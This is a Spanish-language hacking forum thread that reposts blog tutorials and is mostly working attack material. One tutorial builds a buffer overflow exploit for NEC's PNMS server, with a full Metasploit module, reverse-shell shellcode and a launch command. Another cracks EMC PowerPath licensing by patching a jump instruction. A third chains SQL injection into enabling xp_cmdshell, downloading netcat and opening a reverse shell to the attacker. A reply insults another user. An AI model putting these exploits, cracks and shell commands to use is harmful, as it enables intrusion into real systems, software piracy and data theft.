Hola que tal, perdona la tardanza de la respuesta, paso a responder:
Para obtener el número total de la cadena a inyectar, debemos obtener el lugar exacto donde se realiza el desbordamiento del buffer, el número 524 indica el caracter exacto donde se realiza la reescritura del registro EIP, para lograr esto basta con que realices el debug de la aplicación con WinDBG y analices la dirección de EIP, la cual es: 0x35724132, cuando analizamos ESP (la dirección claro) es cuando se obtiene el número 528, el cual representa el lugar donde se comienza a reescribir este registro, por lo tanto la cadena final debe ser:

[NOPs][shellcode][return address] total: 524 bytes.

Como sabes, siempre debes introducir una cadena de NOP's para asegurar que cuando se realiza el desbordamiento de buffer, la dirección a la que se brinca efectivamente posee instrucciones en asm validas (opcodes) para su ejecución, en este caso se ejecuta una shellcode. Por esta razón se introduce una cadena de 20 NOP's, los cuales puedes observar en el resumen final de la cadena a inyectar:

 

    * Información General para el Payload
    * Dirección de salto: 0x0022fb64 (para asegurar nuestro salto)
    * Tamaño total de la cadena: 524 bytes.
    * Caracteres no válidos:  \x00\x20\x0D\x0A
    * Plataforma: Windows
    * Objetivos:  Windows
    * Método Exploit: Reverse Shell TCP

Toda esa información se vacia en el script que describo en el tuto, el cual se encuentra en ruby y su extensión es .rb (/opt/metasploit3/msf3/modules/exploits/windows/misc/PNMS.rb).

Y del 62 y 42, eres muy observador, fue un error mio pues en la primera corrida del desbordamiento inyecte "b" (minúscula) la cual equivale a 62 hex y en la segunda inyecte "B" (mayúscula) la cual equivale a 42 hex. De cualquier manera, lo que importante es comprender en que momento se realiza la reescritura de los registros para poder realizar el payload.

Saludos y espero haber resuelto tus inquietudes.

Hola, bajate una distribución de ubuntu la 10.10 es la ultima http://www.ubuntu.com/desktop/get-ubuntu/download  correlo como un live cd y ahí podrás observar las particiones de windows, si no las monta automáticamente no hay problema puedes hacerlo manual, listando las particiones (fdisk -l) y montando a mano la partición.

Saludos !!

Así es, sin la ayuda del engine del metasploit, que finalmente es perl, así quedaría el codigo escrito C, Muchas gracias por el aporte MrPoor.

Hola, por supuesto que no es ninguna ofensa:

1.- Windbg es un debugger que puedes descargar desde aqui:
http://www.microsoft.com/whdc/devtools/debugging/default.mspx
Las herramientas de debugging de Windows básicamente poseen los siguienes componentes:

KD.exe – Eel cual es un debugger a nivel de kernel (existen debuggers a nivel de kernel y usuario).
CDB.exe – Es la línea de comandos de WinDBG
NTSD – Es el NT debugger. Sirve para debuggear aplicaciones a nivel usuario.
Windbg – Es la interfaz gráfica que integra los componentes anteriores.

En este artículo lo que hacemos es attachear el proceso del socket al debugger para ver el stack en tiempo de ejecución y utilizamos los comandos dd y run (g) para darle continuidad al programa mientras examinamos el contenido de la pila en direcciones específicas. Aqui un sencillo tutorial:

http://debuggingblog.com/wp/2008/10/31/beginner-guide-to-windbg-part-1/

2.- El Payload no se guarda en ningún lugar, lo invocamos según las propiedades descritas en el método "exploit":

   

def exploit 
      connect 
      buf = payload.encoded # Invocamos el Payload definido en el apartado Payload. 
      buf << make_nops(20) #  Definimos 504 bytes para el tamaño del Payload faltando 20 bytes para NOPS 
      buf << [target.ret].pack('V') # Direccion de retorno para sobreescribir el EIP 
      sock.put(buf) # Envio de datos 
      sock.get 
      handler # Transfiere la conexion al handler del Payload 
      disconnect #Termina la conexion 
    end 
 

3.- Para editar tu exploit final puedes utilizar el editor que quieras el lugar donde lo colocas es sensible para que el metasploit pueda verlo, los exploits se colocan bajo:

/opt/metasploit3/msf3/modules/exploits

Por lo tanto para este caso el exploit se encuentra bajo:

/opt/metasploit3/msf3/modules/exploits/windows/misc/

y se llama PNMS.rb, cuando se hace referencia hacia él, se realiza la referencia sin la extensión:

msfcli windows/misc/PNMS PAYLOAD=windows/meterpreter/reverse_tcp RPORT=3500 RHOST=192.168.1.77 LHOST=192.168.1.103 E

y como te digo puedes utilizar cualquier editor poniendole la extensión *.rb y colocandolo bajo la parte que le corresponda.

Saludos !!

Y esta personita: "verjo" ..... cuales son tus aportes que no vayan mas allá de simples cuestiones y respuestas mediaticas en los temas en donde ilusamente intentas "ayudar"? ¿De donde obtienes esa osadía para intentar denigrar un aporte con tal inferioridad? supongo que la ignorancia arrastra tu ego y los factores exógenos que inundan tu pobre y compasiva percepción te hacen creer que eres un megalomano, sin dejarte ver que esa actitud solo te hace ver como un frustrado ignorante.

No agradezcas lo que no entiendes, no te humilles con osadia irresponsable porque solo te descubres como un triste carcamán.

-----------------------------------------------------------------------------------------------------------
Publicado por: verjo
Insertar Cita
Buena info,aunque no deja de ser uno de los muchos manuales que hay por la red,pero aun asi gracias por la info.

salu2!

Introducción

En el presente articulo se detalla y explica la manera en la cual se realiza un exploit con un programa real propietario, el programa objetivo de este análisis es un gestor de plataformas de telecomunicaciones para este caso hablamos del PASOLINK Network Management System (PNMS) de NEC, el cual es un sistema de gestión de equipos de radio, la versión de los clientes y la disponibilidad de los mismos será omitida por obvias razones. Como todo administrador de gestión de radio posee 2 capas a nivel de producción, el primero el mas tangible al usuario que es precisamente el sistema de gestión y todo lo que este engloba, la segunda es un servidor a nivel de tcp el cual la mayor parte de las veces sirve como socket de entrega de alarmas por un puerto determinado.

Este es un protocolo muy común en varias plataformas de gestión de telecomunicaciones, para muestras basta analizar los sistemas de gestión tales como los desarrollados por CastleRock (SNMPcOnLine en todas sus variantes http://www.castlerock.com/) el cual de la misma manera en la cual recolecta las alarmas vía SNMP, también poseen mecanismos de entrega, utilizando sencillos sockets, los cuales por difícil que parezca carecen de las mas mínimas recomendaciones de programación segura.

Cuando hablamos de aprovechar fallos de seguridad en una intranet se comete el error de buscar vulnerabilidades en entornos ya muy controlados, los IDS's o IPS's en sus diferente versiones, ya sean appliance o a nivel de software, dificultan de una manera increíble el trabajo de explotación, sin embargo hay que aprender que la búsqueda no comienza por lo ya de por si trillado, si no por aquello que intuitivamente sería o debería ser mas difícil de vulnerar: en este caso y como en la mayor parte de los artículos que he dado a conocer, la capa mas vulnerable es aquella que es difícil supuestamente de corromper: los sistemas de gestión.

Herramientas y Objetivos

Bien, el objetivo del presente artículo, no es detallar una intrusión haciendo uso de exploits que quedan fuera de nuestro entendimiento, el objetivo es explicar, el análisis inicial y final durante el desarrollo de un exploit haciendo uso de API's que nos faciliten su desarrollo y analisis. Para ello utilizaremos las siguientes herramientas:

• MetaSploit Framework: nos facilitará la generación de la cadena a inyectar en nuestro Exploit final, este posee a su vez las siguientes herramientas que describiré de manera sustancial:

       
                 

• Msfopcode (Cliente de la base de datos de opcodes de Metasploit)
• El servidor extraído directamente del PNMS: El cual es el programa vulnerable, disponible desde aquí: wget http://jesusssx.files.wordpress.com/2010/05/serverpnms.jpg (Cambiar la extensión a .exe)
  
• OllyDBG: El debugger necesario para conocer el estado del stack y las direcciones de la misma.
• WinDBG: Un debugger que nos ayudara a conocer el contenido puntual de los registros del sistema.

Obviamente no contamos con el código fuente del pequeño servidor, sin embargo no es necesario, basta con saber como funciona. El programa se ejecuta de la siguiente manera:


Con esto el servidor se encuentra en escucha, tal cual lo hace el PNMS real, el funcionamiento original de este programa es entregar alarmas mediante el puerto que se especifica luego del nombre, se implementa un protocolo propietario, en el cual se envían señales sync y ack de manera secuencial, el servidor responde y comienza el intercambio de alarmas. El cliente se conectaría de manera sencilla de la siguiente manera.


Probando Vulnerabilidades

Evidentemente no tenemos conexión al sistema de gestión por ello no se reciben alertas, eso es lo que menos importa, vamos a probar el típico buffer overflow enviando una cadena enorme de caracteres:

Con esto enviamos 1024 veces el caracter “b” al socket, se sabe que existe un desbordamiento de pila pues el socket aun cuando se encuentra arriba ya no responde ninguna instrucción como antes lo hacia, cuando terminamos la conexión enviando un Control + C, observamos lo que ocurre en nuestro servidor PNMS:


Armando el Exploit

En efecto, existe un desbordamiento de pila, el cual sobreescribe e 62 el equivalente  en Hexadecimal a “b”. El punto sensible ahora es conocer en donde se encuentra desbordando la pila para realizar el exploit que aproveche esta vulnerabilidad la cual evidentemente es muy inocentemente un descuido en el tamaño del buffer. El típico y muy conocido error es el decuido del buffer de lectura. Para conocer un poco mas acerca del desbordamiento de pila, he aquí el paper oficial publicado por Aleph One: (Smashing The Stack For Fun And Profit).

http://insecure.org/stf/smashstack.html

Necesitamos entonces conocer el significado reducido y solo por recordar, de los registros mas importantes, los cuales juegan un papel muy importante durante la generación del exploit:

   

• EBP (extended base pointer)
• ESI (extended source index)
• EDI (extended destination index)
• ESP (extended stack pointer)
• EIP (enhanced instruction pointer) Apunta a la  siguiente instrucción a se ejecutada.
  

Para ello usaremos OllyDBG con el fin de encontrar el crash a nivel de stack, se vuelve a ejecutar el Servidor y en OllyDBG se attachea el proceso del servidor haciendo clic en file->attach y seleccionamos “ServerPNMS” una vez cargado el programa realizaremos el buffer overflow enviando de nuevo 1024 veces algún caracter (en este caso “b”) y observamos la pila:


Observemos el stack para saber a partir de que dirección con exactitud se encuentra el desbordamiento del buffer:


Como se puede observar el EIP quedo sobreescrito por 62 y a partir de la dirección 0022FB60 tal cual se puede observar en la imagen, lo que ahora sigue es conocer el tamaño de nuestra cadena a inyectar en el buffer, para reservar espacio y conocer nuestra dirección de salto o retorno hacia el shellcode resultante. Para esto haremos uso del MetaSploit y de las siguientes 3 herramientas:

   

• Mspayload (Generador de PAYLOADS de  Metasploit)
• Pattern_create (Genera una cadena con cierto  patrón, utilizada para encontrar las direcciones  offset)
• Pattern_offset (Calcula el offset de una cadena  específica)

Primeramente generaremos una cadena de 1024 bits para conocer en donde el EIP comienza a ser sobreescrito, pues necesitamos conocer la manera de escribir el EIP de la manera que mas nos convenga, para ello haremos uso de las las herramientas pattern_create.rb y pattern_offset.rb de Metasploit:

Veamos con WinDBG la dirección del EIP:


Debemos calcular el desplazamiento pues necesitamos saber en que momento reescribiremos el EIP, para ello usaremos pattern_offset haciendo uso de la info arrojada por WinDBG:


Por lo tanto observamos que a partir del carácter 524 se inicia la escritura del registro EIP ahora analicemos el contenido del registro ESP.


La dirección del ESP es: 0022fd70 el contiene: Ar6Ar, pasemos ese valor pattern_offset:


Podemos notar que a partir del carácter 528 se inicia la escritura del registro ESP, que es donde precisamente debe estar nuestro Payload. Entonces nuestro buffer debe ser:

[NOPs][shellcode][return address] total: 524 bytes.

Para ejemplificar lo que hará el Metasploit en la generación de la cadena resultante correspondiente al shellcode que se introducirá en el buffer destinado para ello usaremos la interfaz web y seleccionaremos Windows Command Shell, Reverse TCP Inline, esto para asegurar el acceso en caso de que el equipo vulnerado tenga el firewall activado:


Resumiendo: debemos indicarle al EIP que ejecute el Payload que se encuentra en ESP, para ello EIP debe contener la dirección de memoria a donde se encuentra el Payload y que a su vez apunte a una instrucción JMP ESP, normalmente deberíamos realizar nuestra propia optimización de código sin embargo para ello en esta ocasión utilizaremos la base de datos de opcodes de Metasploit. Así que llenamos los datos que se piden y damos clic en generar.

De esta manera obtenemos la siguiente cadena a inyectar:

*/
* windows/shell_reverse_tcp - 504 bytes
* http://www.metasploit.com
* Encoder: x86/shikata_ga_nai
* NOP gen: x86/opty2
* LHOST=192.168.1.77, LPORT=4444, ReverseConnectRetries=5,
* EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x99\xbf\x7c\x43\x73\x47\x7f\x0d\x90\x1c\x25\xb1\xbe\x91\x9b"
"\x2d\x41\x4f\xb5\xb3\x20\xd1\xe0\x7b\x2f\xb6\x75\x39\xd4\x05"
"\x3b\xfd\xba\x37\x40\x66\x10\xe3\x30\xf9\x6b\xd5\x79\x74\x0c"
"\xa8\x89\xe0\x13\xc1\xe2\x04\x98\x9f\xb9\x73\x3f\xb0\x7f\x46"
"\xa9\x7c\x4a\x7b\x3d\x97\x71\x35\xb7\x78\x2c\x75\x19\xe1\x1d"
"\x83\xf9\x7a\x3c\x72\x2c\x35\x97\x4f\xb4\x7d\x37\x0b\xff\xc0"
"\xf8\xa8\x48\x92\x96\x02\xe3\x3d\x25\x24\x99\xb7\x7e\x15\xb2"
"\xb0\x76\x18\xd4\x4a\x70\x27\x91\xfc\x9b\x43\x2f\x3f\xb8\x2d"
"\x93\x67\xba\x84\xfd\xb6\x22\xf5\x40\x42\x14\x47\x4e\x98\x1c"
"\x0d\xb9\xbb\x32\xeb\x0c\x8d\xbf\xa9\x05\xb3\xbe\x34\x4b\x21"
"\xd6\xb5\x77\x04\x46\x9f\x49\x66\xb1\x90\x3a\xd5\x41\x29\xc9"
"\xbf\x92\xd9\xae\x85\xb1\x4f\xda\xc5\xd9\x74\x24\xf4\x5a\x83"
"\xea\xfc\x31\x7a\x0c\x03\x7a\x0c\x70\x2c\x52\x6d\xfd\xcf\xab"
"\x6e\x9d\x46\x4e\x5f\x8f\x3d\x1a\xf2\x1f\x35\x4e\xff\xd4\x1b"
"\x7b\x74\x98\xb3\x8c\x3d\x16\xe2\xa3\xbe\x97\x2a\x6f\x7c\xb6"
"\xd6\x72\x51\x18\xe6\xbc\xa4\x59\x2f\xa0\x47\x0b\xf8\xae\xfa"
"\xbb\x8d\xf3\xc6\xba\x41\x78\x76\xc4\xe4\xbf\x03\x7e\xe6\xef"
"\xbc\xf5\xa0\x17\xb6\x51\x11\x29\x1b\x82\x6d\x60\x10\x70\x05"
"\x73\xf0\x49\xe6\x45\x3c\x05\xd9\x69\xb1\x54\x1d\x4d\x2a\x23"
"\x55\xad\xd7\x33\xae\xcf\x03\xb6\x33\x77\xc7\x60\x90\x89\x04"
"\xf6\x53\x85\xe1\x7d\x3b\x8a\xf4\x52\x37\xb6\x7d\x55\x98\x3e"
"\xc5\x71\x3c\x1a\x9d\x18\x65\xc6\x70\x25\x75\xae\x2d\x83\xfd"
"\x5d\x39\xb5\x5f\x0a\x8e\x8b\x5f\xca\x98\x9c\x2c\xf8\x07\x36"
"\xbb\xb0\xc0\x90\x3c\xb6\xfa\x64\xd2\x49\x05\x94\xfa\x8d\x51"
"\xc4\x94\x24\xda\x8f\x64\xc8\x0f\x1f\x35\x66\xe0\xdf\xe5\xc6"
"\x50\xb7\xef\xc8\x8f\xa7\x0f\x03\xa6\xe0\x98\x6c\x11\xef\x15"
"\x05\x60\xef\xb4\x89\xed\x09\xdc\x21\xb8\x82\x49\xdb\xe1\x58"
"\xeb\x24\x3c\xc8\x88\xb7\xdb\x08\xc6\xab\x73\x5f\x8f\x1a\x8a"
"\x35\x3d\x04\x24\x2b\xbc\xd0\x0f\xef\x1b\x21\x91\xee\xee\x1d"
"\xb5\xe0\x36\x9d\xf1\x54\xe7\xc8\xaf\x02\x41\xa3\x01\xfc\x1b"
"\x18\xc8\x68\xdd\x52\xcb\xee\xe2\xbe\xbd\x0e\x52\x17\xf8\x31"
"\x5b\xff\x0c\x4a\x81\x9f\xf3\x81\x01\xaf\xb9\x8b\x20\x38\x64"
"\x5e\x71\x25\x97\xb5\xb6\x50\x14\x3f\x47\xa7\x04\x4a\x42\xe3"
"\x82\xa7\x3e\x7c\x67\xc7\xed\x7d\xa2";

Dejaremos 20 lugares para introducir los NOP's y asegurar que nuestro salto sea tomado de manera adecuada. En este momento ya tenemos entonces la información necesaria para ensamblar nuestro exploit:

   

• Información General para el Payload
• Dirección de salto: 0x0022fb64 (para asegurar nuestro salto)
• Tamaño total de la cadena: 524 bytes.
• Caracteres no válidos:  \x00\x20\x0D\x0A
• Plataforma: Windows
• Objetivos:  Windows
• Método Exploit: Reverse Shell TCP

Pasaremos al ensamblado del exploit, para ello utilizaremos la versión mas actual de este software la cual es  metasploit v3.4.0-dev [core:3.4 api:1.0], haremos uso de la API para desarrollar Exploits, que como sabemos nos facilitará de manera enorme la realización de la cadena final a inyectar. Comenzamos a realizar el script inicial, que desbordará la pila sin especificar los datos importantes tales como el payload y la dirección de retorno, las partes de un exploit en el metasploit son las siguientes:

• Comentarios
• Dependencias
• Definición de las clases
• Inclusiones
• Método del Constructor

• Nombre del exploit.
• Descripción del exploit.
• Mas datos sobre el exploit

Ensamblando el script para el Metasploit y una vez explicadas cada una de los apartados que debe contener, nuestro exploit quedará de la siguiente manera: (En mi caso el script queda en la siguiente ruta: /opt/metasploit3/msf3/modules/exploits/windows/misc/PNMS.rb)

require 'msf/core' 
  #  clase principal                                                                                                                                                
  class Metasploit3 < Msf::Exploit::Remote 
    include Msf::Exploit::Remote::Tcp 
 
    # informacion de todo el exploit 
    def initialize(info = {}) 
      super(update_info(info, 
                        'Name'           => 'exploit PNMS', 
                        'Description'    => 'exploit PNMS', 
                        'Author'         => 'cggj', 
                        'Version'        => '1.0', 
                        'Payload'        => 
                        { 
                          'Space'    => 504, # espacio que usa el payload. 
                          'StackAdjustment' => -3500,#modifica el stack pointer de donde inicia el shellcode 
                          'BadChars' => "\x00\x20\x0D\x0A", #caracteres que no debe poseer el shellcode 
                        }, 
                        'Platform'   => 'win', 
                        'Targets'    => 
                        [ 
                         [ 'Windows', 
                             { 
                               'Platform' =>'win', 
                               'Ret' => 0x0022fb64 # direccion de retorno comienza en 0022fb60 
                             } 
                          ], 
                        ], 
                        'DefaultTarget' => 0)) 
    end
    end 
 
    def check 
      connect 
      buf = "version\n" 
      sock.put(buf) 
      res = sock.get 
      disconnect 
      if res =~ /bof-server v0.01/ 
        return Exploit::CheckCode::Vulnerable 
      end 
      return Exploit::CheckCode::Safe 
    end 
 
    def exploit 
      connect 
      buf = payload.encoded # Invocamos el Payload definido en el apartado Payload. 
      buf << make_nops(20) #  Definimos 504 bytes para el tamaño del Payload faltando 20 bytes para NOPS 
      buf << [target.ret].pack('V') # Direccion de retorno para sobreescribir el EIP 
      sock.put(buf) # Envio de datos 
      sock.get 
      handler # Transfiere la conexion al handler del Payload 
      disconnect #Termina la conexion 
    end 
end
 

Básicamente en el método exploit se define la manera en la cual se comenzará el ataque, primero conectamos con la víctima, posteriormente se crea un buffer con nuestro Payload, el cual queda regido por las propiedades definidas en la especificación del mismo. Posteriormente se añaden 20 NOP's (x90) recordemos que el tamaño destinado a nuestro Payload fue de 504 bytes cuando necesitamos de 524 bytes, al final se agrega la dirección de retorno EIP

 [target.ret].pack('V')

, enviamos los datos y ejecutamos el manejador (handler), para al finalizar desconectar.

Veamos su ejecución en consola (MSFCLI) para verificar que todos los datos introducidos son correctos:
(El comando a ejecutar será:

msfcli windows/misc/PNMS PAYLOAD=windows/meterpreter/reverse_tcp RPORT=3500 RHOST=192.168.1.77 LHOST=192.168.1.103 E

De esta manera especificamos nuestro exploit: PNMS, el Payload a aplicar, el puerto remoto y finalmente nuestros hosts, tanto de la víctima como el del atacante.


Como se puede observar, el exploit funciona de manera adecuada levantando una sesión remota en el servidor que aloja el PNMS, con privilegios del ejecutor de dicho programa. Ya con una Shell solo queda elevar privilegios si es que es necesario y troyanizar según se necesite.

http://jesusssx.wordpress.com

Después de algún tiempo vuelvo a postear para todos uds:

Cuando hablamos de cracking de aplicaciones, siempre se piensa que solo aquellas que se encuentran en la red, para disposición del publico general son las que deben poseer diferentes y variados métodos de ofuscamiento para evitar que estas sean crackeadas y puedan utilizarse sin realizar el pago correspondiente de derechos, sin embargo no es así. En esta ocasión mostrare como crackear el PowerPath de EMC. Quien conozca un poco de storage sabrá de lo que hablamos, para los que no, PowerPath es una importante herramienta que sirve para realizar el balanceo de cargas entre diferentes paths que comunican los equipos de emc (Clariion, Symetrix, Celerra etc.), su operación licenciada es de vital importancia para mantener la alta disponibilidad de los LUN’s o discos asignados.

La version que utilizaremos de PowerPath es la siguiente: EMC powermt for PowerPath iSCSI (c) Version :1.1.0 (build 89):


Para realizar el debugging de usaremos el clásico OllyDbg, para revisar si el programa se encuentra empaquetado utilizaremos el también muy común PEiD. Aunque bueno este paso solo se realizó por mero protocolo, pues cuando un programa se encuentra empaquetado las instrucciones son ilegibles. El programa PowerPath posee varias partes las cuales funcionan bajo diferentes escenarios, el licenciamiento nos lo facilitan de manera significativa, pues la gente de emc tuvo la gran idea de poner una aplicación independiente únicamente para este fin. La aplicación se encuentra en la siguiente ruta:

C:\Archivos de programa\EMC\PowerPathiSCSI\EmcLicTool.exe

Por lo tanto esta es la aplicación que verificaremos, no se encuentre empaquetada u ofuscada con el fin de entorpecer nuestro trabajo.

La salida del PEiD nos muestra que la aplicación no se encuentra empaquetada de ninguna manera, incluso nos muestra que fue realizado en C++, con esto estamos listos para cargar el programa en OllyDBG. Pero antes realizaremos algunos ajustes al OllyDbg para evitar problemas durante el debugging.


Para que el OllyDbg no pare en cada intento de entrada a un modulo nuevo, vamos al menú principal y en “Options_Debuggin Options” seleccionamos “Debug” y marcamos “Ignore memory access violations in Kernel 32″ y desmarcamos el resto. Posteriormente nos aseguramos de que no se detecta nuestro debugger con el IsDebuggerPresent, para lo cual se utilizará el Plugin de OllyDbg “IsDebuggerPresent” de Byte Patcher.

De esta manera no encontramos listos para realizar el debugging del programa. Luego de cargar y correr el programa obtenemos la siguiente salida:


La primera salida que nos marca el inicio de la aplicación:


El PUSH EBP nos indica de donde inicia el programa, ahora usaremos el método mas común para encontrar la sentencia "IF" o CMP de validación, cuando introducimos un código erróneo, introducimos cualquier texto y verificamos el error que arroje:


Posteriormente buscamos la cadena "Key" para ubicar en el desensamblador la linea que nos llevara a este fragmento de código:


Text strings referenced in EmcLicTo:.text, item 5

Address=00401C31
Disassembly=PUSH EmcLicTo.00431344
Text string=ASCII "%s is an invalid license key."

La seguimos en el desensamblador y observaremos lo siguiente:


Para poder seguir la traza del programa pondremos un breakpoint en 00401BED . 53 PUSH EBX (F2) y seguiremos la traza paso a paso con F7.

Una vez que se realiza la corrida paso por paso nos podemos dar cuenta que la llamada CALL EmcLicTo.0041D9DA ubicada en la dirección 00401BFC efectivamente es la que realiza la validación inicial de cada uno de los caracteres que se van introduciendo, si analizamos la corrida del siguiente fragmento de código encontraremos lo siguiente: (siguiendo la llamada)


Lo que hace es obtener el tope de ESP y concatena la entrada del input text en la parte baja y alta del acumulador:


Posteriormente realiza una llamada mas que es precisamente la que necesitaríamos debuggear si quisiéramos hacer el keygen para PowerPath ( CALL EmcLicTo.0041DA7C y CALL EmcLicTo.00422910 ), prepara el resto de los registros con la información necesaria para regresar a su salto de origen guardando las direcciones de salto y regreso en ECX… sin embargo esa no es la prioridad, por lo tanto pasaremos a un breakpoint mas cercano al CMP definitivo. El nuevo Breakpoint lo fijaremos en: PUSH DWORD PTR DS:[EDI] ubicado en la dirección 00401C2F, justo una instrucción antes de emitir el mensaje de error, ahora bien, una instrucción arriba se encuentra el salto de validación definitivo entre lo que se devuelve de la llamada 00422910 acumulado en el ECX, si ECX es igual que el valor sostenido en el tope de nuestro stack (dump) entonces realiza un salto a la dirección de memoria: 00401C38 que es la que almacena el còdigo de escritura en los registros de PowerPath, informándole que la licencia fue introducida de manera correcta, de lo contrario no brinca y arroja el mensaje de Licencia Errónea (is an invalid licence key) y realiza un salto corto a la dirección JMP SHORT EmcLicTo.00401C5E indicándole a PowerPath no reescribir registros y dejar el programa en espera de nuevas entradas:


PowerPath escribe en el registro del S.O. si la licencia es o no correcta entre otras cuestiones, eso lo podemos verificar por sus scripts poco seguros y a disposición de cualquier persona que se instalan con el software de manera nativa:

En este script queda evidenciado la utilización de DLL’s que los desarrolladores anexan a la API de Windows y de manera análoga acceden a registros de Windows que validan licencias. Por lo tanto solo basta obligar al programa de licenciamiento a que brinque esta validación para obligarlo a que escriba en el registro que nuestra licencia completamente fake es correcta. Para lograr esto cambiaremos la instrucción JE SHORT EmcLicTo.00401C38 ubicada en la dirección 00401C2D por JNZ SHORT 00401C38, la instrucción JNZ es lo contrario de JE, es decir evaluará si es diferente de 0 o de lo almacenado en el acumulador; ensamblamos y observamos que ocurre:



Ahora nos muestra la pantalla diciéndonos que la licencia fue introducida de manera correcta, y debido a que PowerPath posee poca granularidad en cuanto a la seguridad a nivel de código se refiere, nuestro sistema se encuentra licenciado al menos hasta la próxima que se reinicie el equipo:


Esta versión de PowerPath desarrollada por EMC es mas fácil de crackear que mucho del software que se encuentra en la red, el cual posee métodos de ofuscamiento para dificultar el cracking de la aplicación en cuestión y en general sirve para incrementar la experiencia en el cracking de aplicaciones. Si algún SySAdmin con mínimo valor de la pluralidad estructural del software libre conociera esto dejarian de consumir miles de dolares en licencias para software realizado sín las mínimas consideraciones de seguridad.

Artículo completo en: http://jesusssx.wordpress.com/2010/03/02/cracking-powerpath-emc

Saludos !!

Ok, deja preparo el siguiente post donde este mas explicado.
 

Hoy les voy a hablar de una herramienta indispensable en todo toolkit de cualquier intruso, su comprensión marca diferencia no solo en el exito de toda intrusión sino también en muchas soluciones de la vida laboral.

Imaginemos el siguiente entorno, poseemos acceso a un host el cual fue vulnerado con anterioridad.. .  El siguiente ejemplo es un ejemplo real, que puede ser aplicable a cantidad de sitios.  Digamos que se trata de un método un tanto “genérico” el cual sirve para entender el cuerpo de una intrusión. Este es un paper explicativo, mas no un manual de intrusión, por tal motivo explicaré el cuerpo de la intrusión pero la confidencialid ad de los datos será guardada, al final de cuentas lo importante es poner en relieve las distintas técnicas usadas para vulnerar un sistema de información por completo.

Bien, no es necesario explicar SQL injection pues es una vulnerabilidad muy trillada pero bastante incurrida hoy en dia, asi que partiremos de un host el cual posee esta vulnerabilidad: SQL injection.

El payload de esta intrusión entonces es SQL injection, lo primero que se nos viene a la cabeza es brincar las validaciones a nivel servicio web, pero si se es un poco mas malicioso facilmente se puede encontrar la manera de ejecutar código remoto en el equipo probando distintas sentencias y analizando los errores: para este ejemplo completaremos la sentencia en un textbox de la siguiente manera:

"lo_que_sea '; select * from --" nos envia un error de ole DB:

                        Microsoft OLE DB Provider for ODBC Drivers error '80040e4d'

(Cantidad de páginas poseen este error, por ello la importancia de tratar este tema), Esto significa que podemos ejecutar código SQL, con el usuario por default, indagando un poco mas, mediante enumeración del host podemos percatarnos que el usuario dueño de la base de datos es "webmail".

   Microsoft OLE DB Provider for ODBC Drivers error '80040e4d'
   [Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'webadmin'.
   /portal/includes/conexion.asp, line 6

A estas alturas sabemos que se trata de SQL server, basta leer las cabeceras del html e interpetrar las rutas del index... cuando se intenta ejecutar codigo en el servidor remoto mediante sentencias de tipo "EXEC master.dbo.xp_ cmdshell 'cmd.exe dir c:'" se obtienen errores de privilegios de este tipo o parecidos:

          [Microsoft][ODBC SQL Server Driver][SQL Server]Failed privileges. error not found.

Bien, la mayor parte de los administradore s normales poseen la cultura de cuidar que el dueño de la base de datos no posea privilegios para ejecutar comandos en la consola de windows, pero no todos poseen la cultura para evitar que este usuario pueda autoescalarse, por lo tanto podríamos tratar ejecutando los siguientes procedimientos almacenados directamente en la textbx afectada:

        lo_que_sea ';EXEC sp_configure 'show advanced options',1 --
   lo_que_sea ';RECONFIGURE --

   lo_que_sea ';EXEC sp_configure 'xp_cmdshell',1 --
   lo_que_sea ';RECONFIGURE --

Esto no arrojara errores a nivel front-end pues son instrucciones que se ejecutan en back-end, posteriormente, podriamos verificar mandarnos un ping a nuestro servidor y verificar con un sniffer que este ping en realidad este llegando a nuestro equipo:

   lo_que_sea ';EXEC master.dbo.xp_ cmdshell 'cmd.exe ping xxx.xxx.xxx.xx x' --

Si se encuentra que el sniffer escuchando en el host intruso esta recibiendo paquetes de tipo ICMP provenientes del equipo vulnerado, abremos logrado el primer exito, en realidad nos encontramos ejecutando código remoto. En este punto es en donde ahora entra el redireccionami ento de tráfico.

Si podemos ejecutar código remoto, en el host B podriamos sin ningún problema realizar un script que baje de un servidor FTP nuestro famoso y util netcat, para voltear la shell y obtener completo control del servidor, esto mediante sentencias únicas, o vernos mas hábiles usando WSH:

   declare @o int
   exec sp_oacreate 'wscript.shell', @o out
   exec sp_oamethod @o, 'run', NULL, 'ftp get----------------------'
   etc...
   etc...
   etc...

La manera en la cual se transfieren las herramientas para tomar control del host vulnerado ya es lo de menos y cuestión personal de cada intruso pues puede realizarse mediante un simple tftp o escondiendo las entradas bajando primero con ftp wget y operando en background la transferencia de archivos y de esa manera no dejar huella, en el mejor de los casos se colocaria netcat en el host vulnerado y bastaría ejecutar un netcat inverso de la siguiente manera:

   host atacante:  nc -vv -l -p 75
                     nc -vv -l -p 76
   host victima:    nc <ip_host_atacan te> 75 | cmd.exe | nc <ip_host_atacan te> 76

De esta manera se conseguiría una shell del sistema vulnerado transmitiendo por 2 canales y brincando un firewall debilmente configurado. Este es el mejor de los casos y casi nunca es así, todo sysadmin y administrador de seguridad actualmente contrata empresas terceras (Afina, ligtech, Netrix, Scitum etc.) las cuales administran y configuran complejos firewalls a nivel de iptables o a nivel ID's o IP's, si nosotros intentaramos realizar una conexión inversa de esta manera en un ambiente real y productivo, generalmente no cerraria el circuito, debido a que solo permite acceso, a puertos claves y el tráfico que circula por él. Para esto basta realizar un nmap a cantidad de sitios que tan solo muestran tener en escucha 2 o 3 puertos, (por lo general 80,443,53,135), esto fortalece en gran medida la seguridad de los sistemas, pues a pesar que se tiene comprometido un servidor resulta a simple vista imposible manipularlo a nuestro entero gusto.

Otro punto importante a considerar es que el host que tiene el rol de front-end, es decir el web server que nosotros podemos ver y el cual ahora se encuentra vulnerado, no posee la información sensible ni importante, pero facilmente podemos ver en que host se encuentra mirando y analizando las peticiones redirigidas por medio del manejador de bases de datos... recordemos que a eso si tenemos acceso, pues esa es la victoria de inyectar código SQL arbitrario.

Si no es posible realizar una conexión directa con el web server debido a un firewall o a un IDS, mucho menos podremos conectar a este tercer host que esta aún mas atras del firewall. Aqui es en donde se debe poseer el mayor ingenio y background, un sysadmin se siente protegido por detrás de su cortafuegos, por lo tanto ese servidor debe poseer mas de un servicio de conexión remota. Ahora solo falta descubrir de cual se trata, para ello se necesita redireccionar el trafico, de tal manera que el servidor que logra ver al otro que nosotros no vemos pero sabemos que existe envie trafico hacia nosotros por un puerto permitido por el firewall y cierre el circuito permitiendonos conectar al servidor de enmedio (webserver) y que este nos redireccione al servidor que deseamos mirar (DBserver).

